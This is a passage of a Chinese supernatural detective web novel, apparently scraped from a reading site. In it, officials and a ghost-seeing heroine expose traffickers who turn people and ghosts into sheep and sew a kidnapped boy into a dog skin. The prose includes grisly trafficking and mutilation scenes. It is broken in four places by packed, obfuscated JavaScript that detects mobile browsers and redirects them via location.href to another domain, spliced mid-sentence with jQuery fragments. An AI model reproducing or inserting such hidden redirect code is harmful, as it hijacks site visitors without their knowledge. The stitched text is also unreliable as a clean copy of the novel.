l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904192|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏洪垣还在旁杀人诛心，告诉他判死没那么容易，不仅要交到刑部复核，还要圣人亲自过目定夺。林老二听不懂，但确信自己又被骗了。 差役出动，一队奔向城郊。一队扑向韦家把鱼拦下。 鱼塘位在荒僻的院落里，屋主离开麟城多年。老鱼头赁下此处，院中池塘改为养鱼，后院立一坟茔，起开有一罐硕大鱼鳞，坟前终日烧香，香灰累累，黄土成了骨色。 而坟后平平无奇处挖出一坑白骨，仵作废了大力也拼凑不清。 怕鱼来报仇还是怕人来报仇，只能去问死了的老鱼头。 鱼塘里绿水浓稠，是一锅生霉长毛的酸馊鲫鱼豆腐汤，大鱼小鱼挤在汤面上穿梭、蠕动，密密麻麻蛆涌。 五月仲夏将至，暑气已来，蒸腾、黏腻、发酵。 洪垣后悔跟着来了……气从肚子鼓到胸口，顶开小舌，吐的胆汁都快出来。她余光瞟见萧慧极的衣摆靠近，波澜不惊、行云流水，还以为他会递上一方手帕—— 他站定，腰一弯，吐一地酸水。 陆班头一左一右给他俩拍背顺气，忙坏了。 萧慧极先缓过气，叫陆班头带人放干塘中恶水，勘查淤泥中是否还有尸骨，若是没有，就地将鱼烧成灰烬。 这塘子太臭，差役们叫苦连天，最后把林老二一干人带进来，赶下去自尝苦果。接近傍晚，鱼塘筛了遍，洪垣和萧慧极都吐无可吐，脸色苍白。 蝉鸣鼓噪，塘中的鱼失水太久只靠泥浆苟活，尾巴不时抽搐摆动，鱼眼空空，套着一个又一个鱼塘。 差役提来火油浇下，将满塘鱼烧毁，腥臭混着烤鱼的烟香引人喉头发痒。翻开塘底，白花花的银子砌了一层，都是老鱼头攒下的家底。其余人分到的赃款也已抄来，只是这伙懒汉银子一半扔进锅里酒里女人堆里，一半扔令盆骰碗里，抄得一小把还算丰腴。洪垣瞅他们，邋里邋遢哪像几十两银子过手如流水的人。 就着火光，陆班头搬把椅子给萧慧极，审问起苹姐和胡子哥的事。 胡子哥卖人走的是陆路，干这行少说二三十年，他不仅卖人也贩羊，譬如老鱼头一伙拐人卖人之余也贩鱼。但他们水陆互不干扰，各自生财，凭着一股默契没起过冲突。 直到苹姐来了。 听闻她是胡子哥的旧相识，上个月刚到麟城来。这女子是个豪杰，刚来麟城就把胡子哥的生意扩了几倍，羊生意、人生意都是。她摸到他们养鱼的老巢来，若是每月不向她上贡，她便将他们的事全都抖落出去。 实际上林老二的鱼头已成了摆设，一方面他怕苹姐，神出鬼没无所不在，一方面他也喜欢她，小娘子辣辣的挺香口。 把生意交给她，做个美人的贤内助也不错。 洪垣回想最后一次见阿苹时她魂的模样，问道："你说的这个苹姐，是不是穿水蓝衣裳，小方脸，狐狸眼睛，薄嘴巴，眉尾有颗大痣。" 林老二摇头："不是不是，她一双大眼睛，美极了！" 竟不是阿苹，难道是她想多了？ 28. 鲜汤（五） 苹姐。阿苹。 阿苹刚从阴差手中逃脱，紧接着麟城来了一个苹姐。洪垣很难不把她们联想到一起。 阿苹不是普通的小贼，她敢回来丝毫不令人意外。大多数人如莽五、林老二，只需一吓一诈吐的尽是实话，有少数奸猾的会撒些难圆的谎，更上一层楼者避重就轻，隐去细枝末节，平头百姓中城府深沉之人终是少数。 阿苹也算个有城府的人，至少在对抗官府一事上，她颇有见地。 萧慧极打算趁热打铁，将藏于羊庄内的人贩一网打尽。 看守鱼塘的少年曾去过羊庄，胡子与苹姐手下至少有五人，最近羊生意好他们没有远行挪窝的打算。羊庄不小，庄上四十三户人家，大半人家都养羊为生，胡子的两个羊圈在庄子西侧。 差役中有家在羊庄的，带上陆班头几个，乔装先去摸清胡子等人在不在庄上。 余下人将鱼塘打理清楚，人犯押送监牢。萧慧极亦回到公廨，得了加急回报，胡子等人都在庄中，亦有人确实见过一个少年送了个小少年到胡子屋前。 于是点了人马动身。 洪垣半路就溜走，回到城隍庙去。若苹姐就是阿苹，那要对付的就不是人。如今城隍庙人走屋空，她祖宗溜的够快，也没许个归期，他手下判官大神不知猴年马月才能办完"家事"。 好消息是，没人主事，一应大小事务全部停摆，堆积如山的公文消失不见，洪垣看门看的很纯粹。 坏消息是，她上边没人了，要办点事得自己出力。 洪垣连正经有俸禄的差事都天天旷工，何况是白出力的，三天打鱼两天晒网，没几天干脆贿赂了河神娘子几支绢花，请她吹吹枕头风，把天天嚷着报恩的丘无玷要过来替自己守门。 一切都很安逸，如果不加上她找不着城隍爷私藏的宝贝的话。 丘无玷不知她掘地三尺要做甚，看了会儿，在外玩乐整日的灯姑和狗饥肠辘辘来了。 洪垣立即找到主心骨，紧搂起灯姑："走，我带你吃喝看热闹去。" 吃，是一个大烙饼。 喝，是路边人家缸中舀的水。 热闹，是指差役在羊庄抓捕时不慎闯开了羊圈，人是一个不落抓到了，羊跑得漫山遍野。 村长扫出一间堂子，萧慧极正在里头审姚小郎君的下落。 这些人是咬死不认的，叫嚣着卖鱼的瞎攀扯，丝毫不心虚。毕竟除了羊，差役半个人都没搜出来。 洪垣迫不及待去看苹姐。确实，柳眉杏眼樱桃口，高挑个子，白得似上了层釉，和阿苹两模两样。 她同阿阿苹不像，可是……和洪垣有几分相似。 苹姐眉间也长着一颗红痣。 洪垣沿着红痣往下看，女人目光凄切惶恐，含着一汪幽怨的水，水光在注视她的瞬间粼波全无，但刹那又哀婉闪动，像个被逼无奈的可怜虫。 不是自己的错觉，洪垣能够认清，这女人在演戏，演得很尽兴、很动情。 像在玩闹。 她哭哭啼啼小声叫冤，明明做的正经生意，怎么凭空污人清白。衣袖遮掩下的眼角不经意瞟向洪垣腿侧，那站着灯姑。 苹姐能看见灯姑，她要么道行高深，要么不是活人。洪垣以为是后一种，这个念头一出，她无论怎么看那女人，虽还是苹姐的脸，神态却完全成了阿苹。 心里已在猜测，她怎么变了模样？上了别人的身？还是借尸还魂？ 洪垣还弄不明白。 陆班头附耳来报，带人搜了多次，既没有被拐卖的人口，也不见姚小郎君。 胡子一行人虽是租的屋子，但常来此处，怕庄子上的人同他们狼狈为奸，帮忙藏匿，差役也挨家挨户找过。差役中本就有土生土长的羊庄人，对庄子中最易隐匿的角落如数家珍，即便如此，还是一无所获。 这可不是什么好消息。胡子一群人显然也看出官府并未拿到实证，叫嚷起来，真是有恃无恐，各个成竹在胸，就差胸前裱上“算无遗策”四字。 林老二等人都知道胡子拐卖，鱼贩被捕突然也没有串供的时间，没什么说谎的可能。 人没藏在羊庄上？更坏的则是，人已经被卖出去了。还是…… 萧慧极心中混乱难以解开，还是轻率冒进了，如今被架在火上，纵使烈焰焚身也要冷静下来。看胡子带头在堂下喧哗，先要顾上公堂威严，于是开口：“这几人喧闹公堂，掌嘴。” 他想了想，又道：“慢慢打。” 羊庄除了人，便是羊，一圈一圈羊。 挤满在大大小小的圈里，好似一只只大地已瞎的眼睛。眼睛凝视着日夜，有时空了，有时满了。 惊跑的羊已悉数被赶回圈中，铃声清脆，伴着夜风蝉鸣。 洪垣中午还和灯姑讲造畜和卖鬼的故事。这不是巧了。找不到人，还有两圈羊大剌剌放在那，任由她试探。 造畜多用饵药混入饭菜中，使吃下之人化为动物，只要些许清水就能破此类巫术。把两圈中的水槽倒空换上清水，须臾便见分晓。 萧慧极这边僵持不下，洪垣悄悄出来，领着灯姑、洪文简直奔羊圈。 灯姑提着灯笼照明，洪垣绞了一桶水上来，拿瓢舀了凑到羊跟前，好话说尽哄羊喝水。忙活半晌，猜想落空，这些羊喝了清水安然无恙。 这是货真价实的羊。 那人呢？人去哪了？ 灯姑背着手在羊群中巡视，不时掏出手点几下手指，她半身淹没在羊里，红衣如盲眼中的一个血点。 "洪垣，怎么有些羊长的一模一样……"她眼中悠闲沉底，揉着鼻子，"你闻到没有，有臭味。" 洪垣闻言深吸一口气，抿抿嘴："闻见了，羊粪臭。" 简直鸡同鸭讲，灯姑只好抬手挨个点过去："这只，这只，这只，你仔细看看。" 今夜月光还算可人，加上一只昏黄灯笼，不需靠到跟前也能看个真切。洪垣打眼看过去，羊都是羊的模样，心想那当然相同了，可看清才明白，灯姑说的一模一样是什么意思。 那几只羊身上的花纹形状、分布、颜色完全一致，好似木雕刻板印出来的。 洪垣与灯姑逐只牵羊来看，将模样相同的羊与其他羊分开，分出小半圈来。这群羊白底黑花，黑花大多长在脖子和前蹄上，就好像…… 好像缚住双手，拴着脖子，绳子绑缚留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922426|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的淤青和痕迹。 洪垣已先入为主，觉得它们就是人，可是为何喝下清水没有些许变化。被聚拢的羊漫步着渐渐散开，悠然似山坡头飘浮的云，静静无声。 没有声音。 一点也没有。 她垂下眼睛，羊明明踩在枯草上，羊——在踮着蹄尖走路？ 洪垣只听说过鬼踮脚，那是鬼附在人身上，鬼脚塞在人脚下，脚跟脚手把手的控制着人行动。 眼前这是？鬼附在羊身上，亦或者鬼变成了羊。 灯姑点了碗符水来，泼到羊身上，羊毛一团团滚下，烧卷的灰烬般，一眨眼符水将羊皮烧穿，千疮百孔中漏出一缕缕腥气，凝成鬼魂。 他们转过身来，问道："为何吃我？" 鬼聚拢合围："为何吃我？" 洪文简狂吠几声，屁股拧过去装死。 和一个鬼对打，洪垣倒是不心虚，可这有好几十个，怨气极深的样子，看上去也不想听她讲大道理。 她扯下挂在腰间的锦袋，里头装着城隍官印，压根来不及拆开，举到鬼鼻子前，嗓子一紧声音都拔尖了。 "有何冤屈！速速禀来来——！" 洪垣觉得自己更像拦驾叩头要喊冤那个。 众鬼停下，将他们围在中间。眼睛中汇聚出瞳孔，瞪着月亮，不再目中无人。 屏息很久，洪垣才感觉自己腿很重，灯姑抱着左腿，洪文简抱着右腿。鬼一圈圈，似篱笆，似城墙，她抬手一削，露出袋中的官印。 气势拔地而起，全然忘了刚刚差点抱头鼠窜。 "若有冤屈，即刻禀来，若无事禀，不许啸聚在此，惊扰路人。” 嗓门大有好处，能壮胆气，气焰涨高后，凝结成群的鬼也渐渐松动，有了裂隙。这只混沌、阴翳的独眼骤然迸开细丝，从梦魇中醒来，打量她。 城隍官印散发着淡淡的光晕，如同另一个安详的美梦。 鬼众齐齐一拜，异口同声：“我等被人骗到此处做羊，被贩卖宰杀，请为我等伸冤。” 怪不得官府都打上门来，胡子一行人毫无惧意，摆着高枕姿态，他们是料定官府搜不出鬼。 即使搜出又能如何？ 拐卖人口是罪，大周律却没明文卖鬼有罪。 从前他们拐人，一定是后来才钻了空子，换成拐鬼。现如今胡子不贩人了，不能人赃并获，难道要天南地北去寻受害人。 还有，他们是怎么把鬼骗来的？ 更想知道的，是姚小郎君在哪。反过来想，找到小郎君不就算捉贼捉赃了。 洪垣问到:“你们可见过一个十三岁上下的男童，穿着墨绿衣裳。” 鬼众沉默蠕动，分出一条道，路通向一间低矮的茅屋。她拿过灯姑手里的灯笼，侧身通过鬼身铸成的崎岖峡谷。 灯笼因此晃动难歇，明暗两分，长长短短的影成了起伏波涛。 滴答……滴答…… 淡黄的小圈落在一滩深色的液体上，灯顺着向上照，迟迟的小滴被灯光照透时猩红一闪。 茅屋檐下挂着一只剥了皮的羊。 羊缓缓转正，对着她。不，不是羊，是狗。 29. 鲜汤（六） 大抵是"同类相惜"，洪文简反而觉得那群鬼如此可爱，夹着尾巴钻进他们中，不肯出来。 腥气太浓，洪垣退后一步，什么也没碰到，但吱呀一声。微弱、锈涩，灯笼被一扯，对着屋门躁动不安，正如乱颤的心。 门被一只毛茸茸的爪子扒开，一只白毛大狗露出半个头，看见门外的人，又目光羞涩地缩回头去。 这狗眼神太纯良，让洪垣想都不想就追了进去。 屋里堆尖柴禾，白狗费劲地要将球大的头塞进尾巴尖那么小的柴缝里。她弹弹舌，把狗尾巴弹动，再上前试着摸摸，狗乖顺地倒退，四脚打结互相绊着扭身要嗅她。 结果一鼻子撞在她腿上。 "啊！"狗学人叫了一声。 洪垣听得分明，耐下性子陪狗玩了一会儿，这狗倒是喜欢她，跟着手顺势躺下露出肚皮，它肚皮上血迹未干，一根红线左右穿引交错将两边肚皮硬凑到一起。 缝皮的人女红不好，针脚极差，比绊倒的多足虫还混乱。 洪垣又挠挠它的肚皮，痒的白狗打滚"哈哈"笑声不绝。 灯姑攀在她背上："它是人……是造畜。" 造畜的方法五花八门。吃了个"好心人"递来的馒头，一睁眼发觉自己四足落地，张口驴叫，绝对算得上最温柔的法子。 也有将不谙世事的孩童浑身划出伤口，敷药使其皮肤溃烂，这时剥一张狗皮，裹在身上，人便成了狗。这样的痛苦，非常人所能承受，这样造的狗，十多只中仅能活命一个。 眼前狗人的皮像是刚缝上不久，它眼无痛色，也不精神萎靡，还能津津有味地同洪垣玩得有来有回。 它不害怕，也不痛吗？ 洪垣蹲着，手垂在双膝头，低声叫："姚小郎？" 狗人没什么反应，爬起来拿头蹭过洪垣的手心，一个劲讨她的手摸。 仔细想想，牵走姚小郎君的少年说的，苹姐在门外说了什么。 "小弟，小弟。" 狗抬头说话："阿姐，阿姐。" 它有些疑惑，阿姐的脸怎么又有些不一样了，但现在的阿姐有颗红痣，它记得。它歪着头，眼睛呆呆的。 它一应声，洪垣心落地了，捏起嗓子："小弟，这件衣服不好看，咱们脱了好不好？" 狗人一味地拱她手心，只会叫"阿姐"。 洪垣想姚小郎虽然是个傻子，但痛与不痛肯定能分清楚，他这模样不似身上有伤，于是叫了灯姑帮忙，七手八脚把缝好的狗皮拆开。 不知是何缘故，大概阿姐还是狠不下心对付小弟，姚小郎肌肤完好。 他光溜溜缩在地上，身上覆着层黏腻的狗血，洪垣脱件外裳下来将他包住。他虽已十三岁了，但个头不高，灯姑打来半桶井水，洪垣先将他脸上的血痂擦去。 那群鬼安静看着，看她牵起姚小郎往庄里走，鬼默默跟在她身后。 如同一只头羊领着羊群，只是少了铃声。 没有风，蝉也歇了嗓，闷热沿着指尖向掌纹倒流。姚小郎的手湿湿的，或许是血，或许是汗。 靠近堂子，已听不见几个男人洋洋得意的戏谑，门里漏出一股压低的风声，再听，才发觉是苹姐在乔模乔样地哭。 呜呜，呜呜，风穿过窗纸被割开的嘴般。 她在哭诉自己孤独一人在世间求生，爹娘撒手人寰，弟弟弃世而去，惶惶然茕茕孑立、形影相吊…… 洪垣拉着姚小郎从她身边经过，另一只手提着一张狗皮。她的话折成两断，拉直身子一回头，白脸盈满月光。 她脸上一滴水光也没有，很模糊，似细细地洒过面粉。 洪垣知道她在看什么，门外只有一群鬼，堂内有刑官差役，他们不敢进门。 姚小郎回头叫："阿姐。" 又抬头叫："阿姐。" 奇怪，有两个阿姐。他的世界里没有真假，回头，抬头，又抬头，回头。 苹姐的脸沉沉向下，让人有一种五官倒置的错觉，她眼帘从脸颊上掀开一缝，面目全无的小人在帘后探出目光。 她心里亮堂，已无再装下去的必要。 这人间游戏太短暂，让人不怎么尽兴。尤其她的眼睛，自顾自盯住姚小郎，她很不满意，想挖掉。 余下人没有她这般自如，方才的得意劲都从头顶蒸了出去。 洪垣同萧慧极对过眼神，将方才所有告诉他知道，命人押了人犯打道回府。苹姐须得格外照顾，洪垣为她备了三根鬼绳，绑严实了分别拴在三个壮实差役腰上。 门外鬼众暂时交由灯姑约束，灯姑想哭，被洪垣一个眼神又收买了。 到公廨时，人倦马乏，陆班头又跑一趟把姚小郎先送回姚家去。人回来时骂骂咧咧怨气冲天的，这些天找人不见他姚家出力，只会嘴皮子一碰事情交给别人，现在门打开现成孩子接过去，一个笑脸一句道谢都没有。 这忙到夜里是为了啥，连口冷茶都不配了。 气得他就在大堂前来回转。陆班头心眼比城门大，日夜不关门，连他也抱怨，可想其他人心里有多少不痛快。 萧慧极自掏腰包，让他弄些酒菜夜宵来犒劳犒劳，陆班头才又高高兴兴出门去。 洪垣忍不住调侃："你确定姓姚的是托萧伯帮忙？" 萧慧极沉默片刻，像思考了很多："我父亲是这么说的。" "我看定是萧伯听说了又善心大发，替你毛遂自荐了，他这老好人的毛病还不改呢。"她评起长辈，一点不客气，拐一下萧慧极，"走，先去看看那几个。" 那几个被绑在监牢的讯室里，萧慧极打算连夜审清。禁子带二人进去，监牢里白日见不着光，晚上点几支蜡烛反还能看清方寸之地。 胡子低着头，苹姐百无聊赖地扭腰坐在地上，听见脚步声眼皮不翻，随意蔑两眼。小鱼小虾探出眼看，人一靠近，又全都缩头。 萧慧极命人将他们男女分开，他搬到禁子值宿处审胡子等人，洪垣留于此对付苹姐。 麟城府的讯室不大，萧慧极带人走后却显得空旷，烛光有限，照不尽之处都连城黑暗。 洪垣不打哑谜，直接叫她名字："谢阿苹，这次也算人赃并获了吧？" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932828|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没有否认，语调轻轻上扬："哦？那又怎样？你是要让那群鬼在供状上画押，还是要说那傻子的证词可信？要不将我身送城隍庙，叫城隍爷再判我一次。" "是，阳间的官判不了阴间的案，"洪垣话头一顿，笑得莫名，"所以你不必着急，我借了城隍官印，不会让你白来一趟。" 阿苹成泥的身子塑起，又软软一滩："你就是再怎么说，我也有理。那是我小弟，早年走失，如今我在街上见了他，带他走难道不合乎情理？" "你带走他，就为了让他做狗？" 她谑笑起来："做狗又如何？那是我小弟。他爹死了，娘也死了，长姐如母，我要他怎样他便怎样。姐姐只想要只小狗陪伴，何况他比狗还蠢，让他做狗已是抬举他了。" 阿苹以为洪垣会张口反驳，像她见过的许多人一样苦口婆心地说教，说些什么你怎么能如此对自己的亲弟弟，可洪垣点点头，一个字人伦纲常也没提。 "你说的也有点道理，可你如何证明他就是你弟弟？" 什么？这是什么问题？ "我自己的小弟我当然认得，他不也认得我？" "非也——"洪垣拉长声音，"他也叫我阿姐，怎么成了你家小弟？他是个傻子，根本分不清人，你骗了个傻子回去就说是自家弟弟，你不会以为傻子说的话能作数吧？" 洪垣悠然笑着，将她的话改几个字又扔回她脸上，分明是看轻她。她即要反唇相讥，蓦地头脑紧绷，堪堪笑道："你想套我的话？" "既然你说不清楚，那姚小郎就不是你小弟，你将别人家的孩子拐走，缺德！"洪垣数落着，快刀斩乱麻，坐在桌前执笔，"罪一，拐了个人，有证人王某、李某数位；罪二，行造畜邪术，有证人洪某、灯某二位。我已经给你记下了。" 她拿着笔，急着往下写："你把那些鬼拐来当羊卖，你也认是吧——" "慢着！" 阿苹从未见过如此糊涂的官，多问几句似乎会耽误她半条命。 "你不问不审就给我定罪，是不是太不讲理了？" 洪垣不明所以："我问了，你又不肯说。何况你也不讲理，怎么反要叫我讲理？" 阿苹瞪大眼睛看着她，棋逢对手，她扮作无辜样，挠挠鼻尖："还是你又肯说了？" 阿苹心口闷着一股气，想说出来激怒她，又不想如了她的意，反复思量，想到自己还有一招。 "我手中有胡子的账册一卷，他烧毁时被我偷偷藏下。他这人会造畜之法，还会迷魂，多年来卖出去的人早已不记得前尘往事，而卖不出去的都变做羊，早入人口腹。官府最多能判他个拐带姚小郎，要不了命，可有了这卷账册就不同了。" "你也曾将我从万奇珍的阵法中救出，我承你的情，只要你愿意松松手指放了我，我便将账册交给你。如此一来，你想把胡子切片蘸着吃都行，而我去找万奇珍报仇，绝不再到你的地盘上作乱。" 阿苹越说越急，恨不得挣脱绳子对天发誓。 洪垣比她更利落："好，一言为定！" 30. 羊圈（三） 萧慧极这边进展不大，胡子等人还在负隅顽抗，姚小郎的事推给阿苹，其余的张口就是喊冤。 他本就是按照父亲吩咐去找个走失的孩童，没想到后续竟如此冗长。 胡子走南闯北，有些见识，嘴巴很严，没留下什么把柄。他那些手下，显然和他多年扶持一命同心，已是死忠，肿着猪脸，多一个字也不吐。 翻来覆去都是无用功，萧慧极不想同他们耗下去，等查到实证再来审，总比在这熬着要好。 叫来禁子要把他们押进牢房中，洪垣悄摸跟着进来，往他手里塞了样东西。萧慧极捏一下，是本册子。 他翻开看了两页，有些意外，念了其中几行，胡子脸色已经大变。 阿苹将他出卖了。 洪垣手中还有一张供状，她半真半假骗道："阿苹已经将账册交出将功折罪，这张供词她也已签字画押。她控诉你等逼迫她拐来鬼魂供你们贩卖，你认还是不认。" 胡子阴侧侧瞧她，烛火映进眼中成一个雪点，将瞳孔都蚀空。 听她叫阿苹而不是苹姐，就知道谢阿苹的身份她已经明了。 洪垣奇怪，举着蜡烛上前照了照胡子的脸，细看之下他有五六分美色，若是年轻十岁，恐怕能称得上一声美丈夫。 她烛台一偏，顺着照过去，低着头的逃不过被她拽着头发拎起来看看。 不说是贩羊的，还以为这是个小园戏班子，不说个个长得俊俏风流，但也浓眉大眼五官规矩，能让人看得上眼。 她对着一排皮相不错的男人晃晃烛火："阿苹所说，你们认不认？" 向来恶人都是洪垣做，萧慧极就算学也学不像，干脆退居二线，坐在椅上翻看账册。 男人们把眼偷看胡子，嘴好似上了糨糊。 烛光又移回胡子脸前，洪垣："你们若是不说话，便是默认，那我就信了阿苹的话，将这可怜女子放走。" 胡子明知她在扯谎，但听到"可怜"二字也忍不住冷笑。 "你竟能说出她可怜？" "她如何不可怜？你给我说说？" 洪垣一句话又让胡子噎住，他眼睛垂下犹豫再三，终是抬起："她许了什么给你？" 洪垣一五一十告诉他："她给我账册，我放她走。" 胡子听笑："不可能，你们当官的哪有那么好心——" 萧慧极手一颤，捏住的页角被撕开一道口子，脚尖踢了一下洪垣的鞋跟，她不理会，从怀中掏出一叠布，展开一抖。 是张人皮。 人皮脸上双眉之间有颗红痣，正是阿苹扮成苹姐时的模样。 "此物你还认得吧？" 胡子哑口无言，眼皮痉挛像被狂风蹂躏的树叶。这张人皮是他向上仙祈求得来，送给阿苹穿，阿苹穿着这身皮，一日少说能骗来三五个色鬼，这样的羊圈里便能多三五只肥羊。 那可是几千钱，稳稳当当，每天睁眼就能掉进口袋。 鬼走皮落，若阿苹没有离开，人皮不会到洪垣手中。 他紧绷着颤动不止的脸渐渐平息了动乱："我说了能有什么好处？" 萧慧极真怕她张口胡咧咧，许诺什么放他走，又踢她一脚。 洪垣踢起脚跟踩下去，正踩在萧慧极脚趾上。 她咳嗽一声，掩去萧慧极的痛呼，对胡子道："我能把她抓回来陪你下阴曹地府。如何？" 胡子笑了笑："我是在赶羊回麟城的路上遇见的阿苹。她劝我卖人哪有卖鬼好，许多新鬼不懂规矩十分好骗，人的心眼却是越来越多。我听罢动心，于是合在一起做生意。" "你或许不知，阿苹的小弟本就是她自己卖掉的。" "她八九岁时把她小弟抱来卖给我，谁知这孩子痴傻，砸在手里卖不出去。我把他随意扔在巷口便走了。" "谁知他命那么好，竟被姚家捡回去养大。" 胡子颇不忿，像是抱怨好命不在自己身上，反而傻子出门能踢到金子。 "姚小郎真是阿苹小弟？"洪垣问着，不管萧慧极怎么瞅她也不回头。 "他后脖子上有块疤，阿苹自己弄的，她不会认错。" "她带姚小郎走到底要干嘛？" "嫉妒呗。自己娘跑了，爹也死了，后娘不管她死活连家也不让她回。为了报复后娘，把她儿子卖了，隔十年发现傻子被好人家养着，不挨饿不受冻，换成你你能受得了？若不是你们横插一脚，姚小郎成了狗，她自然要宰了烹熟送回给她亲娘——" 侃侃而谈戛然而止，胡子闭嘴这一刻再想掩饰已来不及。 "谁亲娘？"萧慧极问道。姚小郎的亲娘，即阿苹的后娘已回乡去了，故而只能是："你知道阿苹的亲娘在哪？" "你把她卖到哪了？" 胡子眼神躲闪，这一男一女眼睛钉在他脸上，似乎要将他颅顶掀开翻找答案。 萧慧极格外在意"送回"二字，姚小郎只能回一个地方。胡子一瞬瞟过他的脸，便知道他已猜出二三。 "……是姚阗买的，买去做娘子。"他不再藏私，说了实话，"她自己情愿跟姚阗走的。" “你会迷魂，就别用这种话骗人了。” 胡子听洪垣如此说，大声争辩:“那时我还没学会！她真是自己跟姚阗……” 姚阗，左监门卫中郎将，按理来说婚配应不成问题，即使无法攀权附贵，也能择门当户对的人家结亲，再不济还有小官或商户家愿意嫁女。 胡子看他们将信将疑，继续道："他是个天阉，没人愿意嫁给他守活寡。小英是我专门挑给他的。" "小英出门，正好被阿苹撞见，她才去……" 才想去找自己亲娘，谁知会在亲娘如今的家里见到自己同父异母的小弟。 命运作祟，缘分使然。 以阿苹的性格，她断然不会原谅。 萧慧极又问了几句，累了饿了，脚趾还疼着，让禁子把人关好，他要休息。 才出了监牢，他就开始兴师问罪："你把阿苹弄到哪去了？" "把你心放回肚子里就好。"她反手用手背拍拍萧慧极的胸膛，想到肚子不在这里，又往下拍拍。 洪垣没有真心想放阿苹走，招来丘无玷跟紧阿苹，让他瞧准时机，往她去的方向布下鬼网，将她再拿回来。 明明此刻该高枕无忧了。 但她还是高估小鬼，丘无玷做鬼十来年，阿苹做鬼不过几个月，他竟灰溜溜回来，说网破了个洞。让阿苹逃了。 不对，洪垣才反应过来，阿苹根本没有见过自己亲娘，她是怎么认出来的？萧慧极指了账册上某处，有刘英娘的姓名籍贯，卖出时间及所得钱财。 她是专门找上门的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946386|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她留下这本账册时心中在想什么？ 不论那时所想，现在她已舍弃了。 薛家巷，有一股时隐时现的臭味萦绕。 不是常闻到的腐烂恶臭，而是灰飞烟灭后暮色沉沉的死气。 姚阗的家很简单，有一个他，有一个娘子，有一个孩子，有几个仆人。大概麟城中不上不下的门第都这个样子。 他身体残缺，能维持着这样普通的光景就不错，再多的他也不曾想过。拥有别人都有的东西，过别人都有的日子，可他到底心不在焉。 娘子、儿子是一个家中约定成俗、不可或缺的摆件。 如要有床，要有椅，要有桌。 体面人家自然该将庭院修的典雅，屋宇打扫干净，客人登门拜访时才不会觉得寒酸。 中郎将官职不低，但姚阗出身寒门，是武艺优异才被先帝特意拔擢。当今圣人对他不爱不恨或许也不会想起，他亦不争不退不上不下，过门庭冷落的日子。 他对英娘是不闻不问的，夜间才去上值。到点进屋让她伺候自己脱衣脱鞋，拉开被褥躺下，到点又起身让她穿衣穿鞋，打开屋门出去。 十几年如一日。 对待儿子，他亦是如此，别的父亲怎么做他一笔一划照着学，不多一分不少一分。 全然不顾小郎是个傻子。 仆人深知他的秉性，表面功夫做足便行。他的心思不在这家里，也不在外，总之没人知道在哪。 日复一日，年复一年，生活成了一种无趣的重复。只有这几日出了岔子，好似在来回抄默的书卷上抖下几点墨汁。 小郎被人拐走，全家像模像样、按部就班找了三日，说是找也不确切，更像在演出戏，演给彼此看，演给逝去的时间看。 只是不需上妆，也没有戏台。 惟有英娘一人好似真的焦心，吃不下睡不着，小郎是她在这死了一般的时间中唯一活着的同伴。她不能让他走。 日子过成这样，实在糟糕，可比起她从前缺衣少食差点命丧于拳脚之下，现在的日子又有什么可抱怨的。 躺在地上，血爬过皮肤由热渐冷的滋味，她不想再尝。在眩晕中她看到屋檐外的天空，云被风吹走，眼眶阵阵发麻，那一刻有强烈的愿望。想要活下去。 这一刻类似的求生意志充满胸腔。 她想小郎回来。 但终归只有她一人这般想。仆人们更想傻子小郎死在外边，姚阗间于两者之间。 若小郎不回来，他可以再买一个，或是省点钱上慈幼院领一个。更或者多要一个女儿，凑成儿女双全。 还是英娘的祈求最真挚，小郎回家了。英娘给他擦洗换衣，下厨做了好菜，让他吃饱安睡。 她心中雀跃，幸福也挂在了脸上，亲自浆洗包裹小郎的染血衣裳。小郎在外经历了什么，她没有问，其他人好像也没问，只要回到这里—— 回到这个家，过和旁人一样的日子，就好。 就很好。 噙着笑，她挥动臂膀，用力捶向衣服，生命蔓延到四肢百骸，汇聚在每一个空心的角落。没有人可以逃脱家的牢笼，没有人—— 喜悦从她张大的鼻孔簌簌涌进，在每一滴热血中咆哮飞奔。 胀大的眼睛中晕出重影，耳朵在嗡鸣尖啸中溢出幻听。 "阿娘，你怎么不回来啊？" 31. 羊圈（四） 英娘已经快忘记自己还有一个孩子。 那好像是噩梦中的一环，好像是跟不过奈何桥的前世尘缘。 她只看过这孩子一眼，听过她一夜啼哭，越是天长日久，越是祈求她不要来纠缠。 